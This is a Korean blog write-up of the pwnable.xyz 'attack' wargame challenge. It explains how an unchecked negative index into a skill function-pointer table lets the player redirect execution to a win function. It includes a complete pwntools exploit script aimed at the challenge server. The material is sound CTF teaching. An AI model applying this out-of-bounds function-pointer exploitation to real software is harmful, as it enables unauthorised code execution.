본문으로 바로가기

pwnable.xyz / attack

category Wargame/pwnable.xyz 2020. 4. 8. 07:39

바이너리를 처음 봤을 때 구조가 다소 복잡해서 분석이 쉽지 않았다.

입력을 받는 지점을 기준 삼아 대략 30분 가까이 분석을 진행하면 중, 아래와 같은 버그를 발견할 수 있었다.

 

  if ( buf[0] == 'y' )
  {
    printf("Name for your equip: ");
    memset(&player_trea.Equip, 0, 0x20uLL);
    fgets(player_trea.Equip.Name, 32, stdin);
    player_trea.Equip.DefValue = get_rand_range(1000LL);
    printf("That's some neat equip, you created there. Is has a def value of %lu\n"player_trea.Equip.DefValue);
  }

 

      printf("What type of skill is this (0: Heal, 1: Attack): ");
      isAttack = get_long();
      
      if ( isAttack <= 1 )
      {
        player->Skills[destSkill].Skill_Func = SkillTable[isAttack];
        player->Skills[destSkill].IsAttackSkill = isAttack;
        player->Skills[destSkill].Value = get_rand(1000);
      }

 

Arena의 승패 결과와 상관없이 한 게임이 끝날 때마다 Rank가 항상 1단계씩 증가하며, Rank 2 (Duelist) 부터는 장비 이름을 수정할 수 있고 Rank 3 (Gladiator) 부터는 스킬 타입을 변경할 수 있다.

 

스킬 타입을 입력받을 때 if 조건식을 보면, isAttack이 1 이하일 때 SkillTable+8*isAttack 에 있는 주소의 값을 스킬 함수로 설정할 수 있다. isAttack을 음수로 설정해도 해당 조건식을 통과할 수 있으므로, SkillTable이 위치한 0x6046E0 이전의 값을 아무거나 끌어다 써서 함수 주소로 설정할 수 있다는 의미다.

player_trea.Equip.Name의 offset은 0xD0이므로 위치는 0x604358 이다. (0x604358-0x6046E0)/8 = -113 을 isAttack 값으로 주면 win을 실행할 수 있다.

 

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
from pwn import *
import argparse

parser = argparse.ArgumentParser()
parser.add_argument('-r''--remote'action='store_true'help='connect to remote server')
args = parser.parse_args()

if args.remote :
    p = connect('svc.pwnable.xyz'30020)
else :
    p = process('./challenge')


def log_info(string) :
    sys.stderr.write((u'\u001b[37;1m[\u001b[32m+\u001b[37;1m]\u001b[0m ' + string + '\n').encode())

def ChangeEquip(data:bytes) :
    p.writeline(b'y')
    p.writelineafter(b': ', data)

def ChangeSkill(skill:intskill_type:int) :
    p.writeline(b'y')
    p.writelineafter(b': 'str(skill).encode())
    p.writelineafter(b': 'str(skill_type).encode())

def exploit() :
    asks = [
        'Which skill do you want to use : ',
        'Which target you want to use that skill on : ',
        'Do you want to change your equip (y/n)? : ',
        'Do you want to change the type of your skills (y/n)? : '
    ]

    while True :
        recv = p.read().decode()
        line = recv.split('\n')[-1]

        if line == asks[0or line == asks[1] :
            p.writeline(b'0')
            continue
        elif line == asks[2] :
            ChangeEquip(p64(0x401372))   # win
            log_info('equip updated')
            continue
        elif line == asks[3] :
            ChangeSkill(0, -113)
            p.writelineafter(b': 'b'3')
            log_info('skill updated')
            continue

        if 'FLAG' in recv :
            print(recv)
            break

    p.close()


if __name__ == '__main__' :
    exploit()

 

 

 

Last update: 4/8/2020

'Wargame > pwnable.xyz' 카테고리의 다른 글

pwnable.xyz / PvP  (0) 2020.04.08
pwnable.xyz / bookmark  (0) 2020.04.08
pwnable.xyz / rwsr  (0) 2020.01.20
pwnable.xyz / fclose  (0) 2020.01.18
pwnable.xyz / message  (0) 2020.01.17